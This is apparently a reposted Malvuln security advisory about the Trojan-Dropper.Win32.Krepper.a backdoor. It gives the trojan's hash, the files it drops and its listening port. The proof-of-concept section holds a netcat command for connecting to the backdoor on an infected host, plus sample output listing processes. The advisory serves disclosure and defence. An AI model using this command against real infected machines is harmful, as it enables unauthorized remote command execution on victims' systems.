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Trojan-Dropper.Win32.Krepper.a Remote Command Execution

🗓️ 24 Jun 2021 00:00:00Reported by malvulnType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 270 Views

Trojan-Dropper.Win32.Krepper.a Remote Command Execution on TCP port 10002 dropping svchost.exe, sysini.ini, msto32.dll, mserv.ex

Code
`Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/ee699b4055c6199f9826681797d64f0b.txt  
Contact: [email protected]  
Media: twitter.com/malvuln  
  
Threat: Trojan-Dropper.Win32.Krepper.a  
Vulnerability: Unauthenticated Remote Command Execution  
Description: The malware listens on TCP port 10002 and drops several executables under Windows dir. Third-party attackers who can reach infected systems can connect to port 10002 and run commands made available by the backdoor to retrieve information etc  
Type: PE32  
MD5: ee699b4055c6199f9826681797d64f0b  
Vuln ID: MVID-2021-0260  
Dropped files: svchost.exe, sysini.ini, msto32.dll, mserv.exe   
Disclosure: 06/23/2021  
  
Exploit/PoC:  
nc64.exe x.x.x.x 10002  
C:\WINDOWS  
C:\WINDOWS\system32  
  
PROC  
[System Process]  
System  
smss.exe  
csrss.exe  
wininit.exe  
csrss.exe  
winlogon.exe  
services.exe  
lsass.exe  
fontdrvhost.exe  
fontdrvhost.exe  
svchost.exe  
svchost.exe  
dwm.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
Memory Compression  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
svchost.exe  
spoolsv.exe  
svchost.exe  
WmiPrvSE.exe  
dasHost.exe  
svchost.exe  
svchost.exe  
etc...  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).  
`

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